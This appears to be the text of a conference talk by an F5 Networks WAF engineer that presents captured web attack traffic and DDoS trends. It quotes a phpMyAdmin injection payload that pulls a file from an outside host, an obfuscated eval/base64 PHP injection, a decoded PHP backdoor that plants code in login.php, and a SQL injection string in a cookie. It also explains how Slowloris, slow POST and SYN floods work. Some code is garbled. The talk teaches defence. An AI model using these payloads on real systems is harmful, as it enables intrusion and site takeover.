A DAY IN THE LIFE OF A WAF

Sam Pickles, F5 Networks
Who am I?

- Sam Pickles
- Senior Engineer for F5 Networks
- WAF Specialist and general security type

Why am I here?
- We get to see the pointy end of a lot of attack traffic.
- Not much attack data finds its way into the public domain, so I thought I would share what I can.
Agenda:

- Defacement
- Non Compliant HTTP
- Code Injection
- Some Broader Trends
- DDoS Trends and Examples
DEFACEMENT
From Spain:

Hacked Your System LinuXploit_Crew
Violation message:

You have been Hacked !!!, not because of your stupidity,
That's because we love you, and we want to warn you,
That your web still has large of vulnerability,

Dear admin,
This was not a joke or dream, this is fucking reality,

at last,
Tidak ada seorangpun, hewan atau banchi yang disakiti dalam hacking ini ;)

Thanks:

---

Response Status Code: N/A
Potential Attacks: Cross Site Scripting (XSS), Detection Evasion, Information Leakage, SQL-Injection, XPath Injection
<table>
<thead>
<tr>
<th>Web Application</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Support ID</td>
<td>2258730722670021113</td>
</tr>
<tr>
<td>Source IP Address</td>
<td>118.96.13:</td>
</tr>
<tr>
<td>Destination IP Address</td>
<td>192.168.59.2:80</td>
</tr>
<tr>
<td>Country</td>
<td>Indonesia</td>
</tr>
<tr>
<td>Time</td>
<td>2011 2:02</td>
</tr>
<tr>
<td>Flags</td>
<td>×</td>
</tr>
<tr>
<td>Severity</td>
<td>Critical</td>
</tr>
<tr>
<td>Response Status Code</td>
<td>N/A</td>
</tr>
<tr>
<td>Potential Attacks</td>
<td>Cross Site Scripting (XSS), Detection Evasion, Information Leakage, SQL-Injection</td>
</tr>
</tbody>
</table>

<n1cedre4m[at]yahoo.com>
POST /phpmyadmin/scripts/setup.php HTTP/1.1
X-Conection: close
Host: 210.[REDACTED]
Referer: 210.[REDACTED]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
Content-Type: application/x-www-form-urlencoded
Content-Length: 232
X-Forwarded-For: 72.10.168.50

action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A7Bi%3A0%3B0%3A10%3A22PMA%5FConfig%22%3A1%3A7Bs%3A6%3A22source%22%3Bs%3A47%3A22ftp%3A%2F%2Fpickasso%3A240790%4066%2E197%2E252%2E182%2F%2F%2Ea%2Fid%2Et%2Et%22%3B%7D%7D
a:1:{i:0;O:10:"FMA_Config":1:{s:6:"source";s:47:"http://pickasso:240790@65.197.252.162/a/id.txt";}}
Another (tiny) probe:
From the same host:

<table>
<thead>
<tr>
<th>Violation</th>
<th>Severity</th>
<th>Learn</th>
<th>Alarm</th>
<th>Block</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP protocol compliance failed</td>
<td>Error</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Requested URL</th>
<th>Web Application</th>
<th>Support ID</th>
<th>Source IP Address</th>
<th>Destination IP Address</th>
<th>Country</th>
<th>Time</th>
<th>Flags</th>
<th>Severity</th>
<th>Response Status Code</th>
<th>Potential Attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>[HTTP] /w00tw00t.at.blackhats.romanian.anti-sec :)</td>
<td></td>
<td>17099226225215352420</td>
<td>200.1.192.31:36554</td>
<td>192.168.59.2:80</td>
<td>Colombia</td>
<td>2011-04-27 06:09:41</td>
<td>✖️</td>
<td>Error</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody>
</table>

...etc
CODE INJECTION
Probing for code injection vulnerabilities:

- Checking for access to `/proc/self/environ`
PHP Injection attempt:

<table>
<thead>
<tr>
<th>Actual Parameter Name</th>
<th>Parameter Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>products_image</td>
<td><code>&lt;?php 0xd @error_reporting(0), 0x20 @set_time_limit(0), 0x20 $o=0x20 $os=0x20 $ GET['o'], 0x20 $o=0x20 $ GET['o'], 0x20 code(pZJda8wFlbVt/PMQhNQMR9X0M5CvsbgT, DTE5RiEnnRbxm9Jre5C8GJ35f143kMoyMYS+r, Nyn/5/771H379+ABZxAHf6N1TvSm60DxJZ0Cc9, nVG5pjx5X9ZDa2QCEXa+TDQeWYniixa2eqN7loK, 0nOaWAH2PXA5INKYpao0XYDOxntFowlzsgqk4aA, zkJcJALLbps8cXIRQmj0Dv02JH4ZejF08aQW4R, YQG2bhcceGeVHw+6QxkwQHc+zG4FhsoHlkrlaF, 0gEz+GdhCETCaAlYclySKYWsgWksPuTLoKMTS+vz, k0mf+eLTWKWLW9l8DmlGcdWdGh6ee8r+vtRtMswW, 90C2xWkrAqVjjnR5L9ZSwrd1Ud1cXT6vmvR8kPHS, tbl4mep6Pillte5FSfgF=)), 0x20 dle[0, 0x20] 0x20</code> else if 0x20 (isset($osc)), 0x20 eval($gzipnflate(base64_4_decode(pZHNasMwEtIvbb6dyGyjWZS1F5CwA, 9sL4i8IUCyWhlmnhYd7l3J+ekhKENPEj7Ms5qX, fdeTPJ9UB+07yNkTfPtPyul8mmAexlyWd3SoX, svbhYrZnl6w9EnKoj5wNLEwVcW+NUluaBvyB, aTb428x8T2ilILCv0KrtNuubhZQLIMjPw21snly, 9x1l0T8ei94C0YjXtjaXmD9lL7sAcFc3Bm9yXa9, kbyYg9hiZzukaF7alrtyXRjR5IcA5lTekDrSt, OYVo8u+zDdxOx0722saQ46qeg+dNNQox+hJsfv$g, hffjVioLDP70dBeNgTcCqwBxFN4/4bAaJtwM2, +Vx/15pxSTW14Sv8SmpWAOWXQ0n5BQ=)), 0x20] 0x20` else 0x20 0x20</td>
</tr>
</tbody>
</table>

| Detected Keywords     | products_image=`<?php 0xd @error_reporting(0), 0x20 @set_time_limit(0), 0x20 $o=0x20 $os=0x20 $ GET['o'], 0x20 $o=0x20 $ GET['o'], 0x20 code(pZJda8wFlbVt/PMQhNQMR9X0M5CvsbgT, DTE5RiEnnRbxm9Jre5C8GJ35f143kMoyMYS+r, Nyn/5/771H379+ABZxAHf6N1TvSm60DxJZ0Cc9, nVG5pjx5X9ZDa2QCEXa+TDQeWYniixa2eqN7loK, 0nOaWAH2PXA5INKYpao0XYDOxntFowlzsgqk4aA, zkJcJALLbps8cXIRQmj0Dv02JH4ZejF08aQW4R, YQG2bhcceGeVHw+6QxkwQHc+zG4FhsoHlkrlaF, 0gEz+GdhCETCaAlYclySKYWsgWksPuTLoKMTS+vz, k0mf+eLTWKWLW9l8DmlGcdWdGh6ee8r+vtRtMswW, 90C2xWkrAqVjjnR5L9ZSwrd1Ud1cXT6vmvR8kPHS, tbl4mep6Pillte5FSfgF=)), 0x20 dle[0, 0x20] 0x20` else if 0x20 (isset($osc)), 0x20 eval($gzipnflate(base64_4_decode(pZHNasMwEtIvbb6dyGyjWZS1F5CwA, 9sL4i8IUCyWhlmnhYd7l3J+ekhKENPEj7Ms5qX, fdeTPJ9UB+07yNkTfPtPyul8mmAexlyWd3SoX, svbhYrZnl6w9EnKoj5wNLEwVcW+NUluaBvyB, aTb428x8T2ilILCv0KrtNuubhZQLIMjPw21snly, 9x1l0T8ei94C0YjXtjaXmD9lL7sAcFc3Bm9yXa9, kbyYg9hiZzukaF7alrtyXRjR5IcA5lTekDrSt, OYVo8u+zDdxOx0722saQ46qeg+dNNQox+hJsfv$g, hffjVioLDP70dBeNgTcCqwBxFN4/4bAaJtwM2, +Vx/15pxSTW14Sv8SmpWAOWXQ0n5BQ=)), 0x20] 0x20` else 0x20 0x20 |
Enabling Authentication on the Server:
PHP Toolkit:

```
<?php

$rhs = 'aZWNobyAIpCh05Ww+ijsNCmVjaC6gljx0aXRsaZTETeGFkb3cgd2FzEhIcmU8L3RpdGxlPjib2R5PIi7DCpzXfRdGltZY9saW1e
val(base64_decode($rhs));

$....was####here####

?>
```

---

**Requested URL:**

**Web Application:**

**Support ID:** 35944203666955391

**Source IP Address:** 80.74.

**Destination IP Address:** 192.168.59.2:80

**Country:** Switzerland

**Time:**

**Flags:** ✘ 🥀

**Severity:** Error

**Response Status Code:** N/A

**Potential Attacks:** Cross Site Scripting (XSS), LDAP Injection, Non-browser Client, Server Side Code Injection
Decoded a couple of times:
$pwd_admin = ereg_replace('/images','/admin', system_pwd);
if (chdir($pwd_admin)) {
    if (is_writable($pwd_admin)) {
        if (is_writable('categories.php')) {
            unlink('categories.php');
            $new_categories = "<?php
header(location:'http://www.google.com'); ?>"
            $patch_categories = fopen('categories.php','w');
            $write_categories =
fwrite('categories.php','"$new_categories"");
            $response_categories= "[-] Categories Patched"
        }
        else { $response_categories = "[-] Unable to patch Categories"; }
    }
    if (is_writable('login.php')) {
        $backdoor_login = "<?php eval(base64_decode('if
($HTTP_POST_VARS['username']) {

$write = ($HTTP_POST_VARS['username']);
pass_write($write);
}
Attack Summary

- Works with any directory structure – targeted for PHP specifically, but can work on any vulnerable app
- Uses a variety of methods to
  - backdoor the server,
  - add OS level passwords,
  - enumerate users
- Remains hidden - no obvious error messages
SQL Injection:

- GET
  /__utm.gif?utmwv=1&utmn=137576902&utmcsc=UTF-8&utmsmr=1280x800&utmsc=32-bit&utmul=en-us&utmj=1&utmfl=10.2%20r154&utmcn=1&utmr=

```
<table>
<thead>
<tr>
<th>Attack signature detected violation details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Signature Name</td>
</tr>
<tr>
<td>SQL-INJ expressions like (1) &quot; and 1 --&quot;</td>
</tr>
<tr>
<td>SQL-INJ &quot;SELECT FROM&quot; (Headers)</td>
</tr>
<tr>
<td>SQL-INJ expressions like &quot;or 1=1&quot; (3) (H...ders)</td>
</tr>
<tr>
<td>SQL-INJ &quot;SELECT FROM&quot; (Parameter)</td>
</tr>
<tr>
<td>SQL-INJ expressions like &quot;or 1=1&quot; (3)</td>
</tr>
</tbody>
</table>
```

```plaintext
---
___utmz=245999259.1303780682.1.1.utmccn=(referral)|utmcsr=<removed>.com|utmct=/SELECT%20id%20FROM%20logins%20WHERE%20username='admin'AND%20password='anything'OR'x'='x%22
```
SOME BROADER TRENDS
### Where From?

<table>
<thead>
<tr>
<th>Items</th>
<th>Occurrences</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>607</td>
</tr>
<tr>
<td>Australia</td>
<td>431</td>
</tr>
<tr>
<td>New Zealand</td>
<td>304</td>
</tr>
<tr>
<td>Malaysia</td>
<td>223</td>
</tr>
<tr>
<td>Germany</td>
<td>42</td>
</tr>
<tr>
<td>Netherlands</td>
<td>42</td>
</tr>
<tr>
<td>Poland</td>
<td>28</td>
</tr>
<tr>
<td>China</td>
<td>26</td>
</tr>
<tr>
<td>Thailand</td>
<td>25</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>22</td>
</tr>
<tr>
<td>Korea, Republic of</td>
<td>18</td>
</tr>
</tbody>
</table>
How Many Attacks?

<table>
<thead>
<tr>
<th>Items</th>
<th>Occurrences</th>
</tr>
</thead>
<tbody>
<tr>
<td>Non-browser Client</td>
<td>23523</td>
</tr>
<tr>
<td>HTTP Parser Attack</td>
<td>15133</td>
</tr>
<tr>
<td>Information Leakage</td>
<td>9023</td>
</tr>
<tr>
<td>Predictable Resource Location</td>
<td>962</td>
</tr>
<tr>
<td>Vulnerability Scan</td>
<td>884</td>
</tr>
<tr>
<td>Cross Site Scripting (XSS)</td>
<td>880</td>
</tr>
<tr>
<td>SQL-Injection</td>
<td>800</td>
</tr>
<tr>
<td>Command Execution</td>
<td>654</td>
</tr>
<tr>
<td>Detection Evasion</td>
<td>491</td>
</tr>
<tr>
<td>Path Traversal</td>
<td>297</td>
</tr>
<tr>
<td>LDAP Injection</td>
<td>202</td>
</tr>
</tbody>
</table>
Reason for Blocking:

<table>
<thead>
<tr>
<th>Items</th>
<th>Occurrences</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP protocol compliance failed</td>
<td>16289</td>
</tr>
<tr>
<td>Attack signature detected</td>
<td>12838</td>
</tr>
<tr>
<td>Information leakage detected</td>
<td>1340</td>
</tr>
<tr>
<td>Illegal method</td>
<td>1211</td>
</tr>
<tr>
<td>Illegal HTTP status in response</td>
<td>728</td>
</tr>
<tr>
<td>Evasion technique detected</td>
<td>688</td>
</tr>
<tr>
<td>Failed to convert character</td>
<td>70</td>
</tr>
<tr>
<td>Cookie not RFC-compliant</td>
<td>52</td>
</tr>
</tbody>
</table>
Further Observations:

- Attacks are extremely common – at least hourly, if not minute by minute
- Example: one global social networking/web monster gets a minimum of ~500Mbps mixed attack traffic at all times!
- Most attacks are relatively untargeted at the specific site, but many attacks are targeted at languages, frameworks etc such as PHP
- Search engine integration is the norm
- Formal incident response is probably best saved for the really targeted and persistent offenders
Further Observations:

- Geo IP blocking by itself has some value but will be too problematic for most sites
  - Legitimate traffic may originate from any country
  - Anonymiser networks have proxy hosts available in any country desired => attacks may appear local in origin
- Most attacks are just probes or don’t work on your site, but it only takes one!

- IP blocking of any kind must be done with care
  - Mega proxies
  - Tor
  - Anonymiser networks
DDOS TRENDS AND EXAMPLES
SYN and ICMP Flood

- Old school but still popular
- SYN Flood:
  - The attacker does not respond to the server with the "ACK" in a TCP connection exchange: SYN, SYN-ACK, ACK
  - Connections are half-opened and consume server resources
  - IP Address is unreliable as no response required by client – can result in “reflected” attack
- ICMP Flood:
  - Sending the victim an overwhelming number of ping packets,
  - Simple to launch and the primary requirement being access to greater bandwidth than the victim
Attacks are Moving “Up the Stack”

90% of security investment focused here

75% of attacks focused here

Source: Gartner
Anonymous

OPERATION PAYBACK
Cast of characters:
Julian Assange
Wikileaks
US Government
The Target
The Instigators

ANONYMOUS
Because none of us are as cruel as all of us.
The Crowd
Attacks overview

- **Network flood attacks:**
  - High PPS attacks: extremely high SYN flood and UDP flood attack rates hit victim sites = bottlenecks
  - Oversized ICMP and UDP frames intended to consume bandwidth
  - Fragmented and corrupted UDP frames intended to consume more resources on application delivery equipment;
  - Connection flood attacks: targeting the server TCP stack resources;

- **Application flood attacks:**
  - HTTP page request floods targeting crafted URLs;
  - HTTP data floods;
  - Crafted Layer7 TCP attacks such as SlowLoris, slow POST
The Attack:

- Normal production load for our Target is 60K HTTP requests per second
The Attack

- Initial peak at 1.5 million HTTP requests per second
- Volumes then rose to around 4 million RPS during “official” attack period
- Anonymous announced that the attack had ended
- Attack then rose to 15 million RPS! Anonymous were not directly controlling the attack
- Several major spikes when large botnets and university labs joined the attack

Peak measured at 350 x normal production load!

=> 35,000% increase
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous
HTTP client!

Written by RSnake with help from John Kinsella, and a dash of inspiration from
Robert E Lee.
How does Slowloris work?

- Opens connections to web server (very little bandwidth required)
- Begins to send request...
  ...One header at a time...
  ...Very Slowly...
  ...Never ends...

- Server holds connection open indefinitely, and runs out of available connection pool.
- Result – server is unavailable. No error logs during attack.
Reason attack was mitigated:

- Reverse proxy handles incoming requests
- Unfinished request from Slowloris exceeds limits on HTTP profile and is dropped.
HTTP Slow POST

- Similar concept to SlowLoris, but POST with large payload is uploaded extremely slowly.
- Large number of concurrent connections consume memory on host
Normal TCP (Reverse) Proxy

- Connections are terminated on a TCP proxy stack. Tuned for application performance – requires advanced options negotiated during 3-way handshake.
SYN Cookie

- During SYN flood attack:
During SYN Flood attack:

- SYN Cookies work very well, but...
- Advanced TCP Options are not possible when SYN Cookies activated.
- This is why it is ideal to have a threshold for activation
- This is where a TCP acceleration proxy may have advantages over server operating systems eg BSD, Solaris, Windows
Stack tuning tips:

- Lower the default TCP connection timeouts in the TCP profile.
- Lower the Reaper percents from low 85 / high 95 to low 75 / high 90. This means fewer connections held open, but means the proxy will be more aggressive cleaning out idle connections during a TCP connection flood.
HTTP Profile tuning tips:

- Analyze the typical and maximum HTTP header size, including cookies, that should legitimately be seen. The default maximum on LTM is 32k. This should be lowered if your average is 4k and max possible is 8k. In this example, setting the max header size to 16 should adequately ensure no false positives (resulting in rejected connections), while helping to ensure a number of HTTP header based DoS attacks are better handled.
Layer 7 DoS/DDos mitigation

- TPS vs Latency detection
Conclusion:

- We all know how dangerous Internet traffic is.
- There is a lot of automated, low-skilled attack activity.
- There are also a lot of very targeted attacks, and talented hackers.
- Many sites will benefit from the visibility and mitigation available from WAFs.
THANKS 😊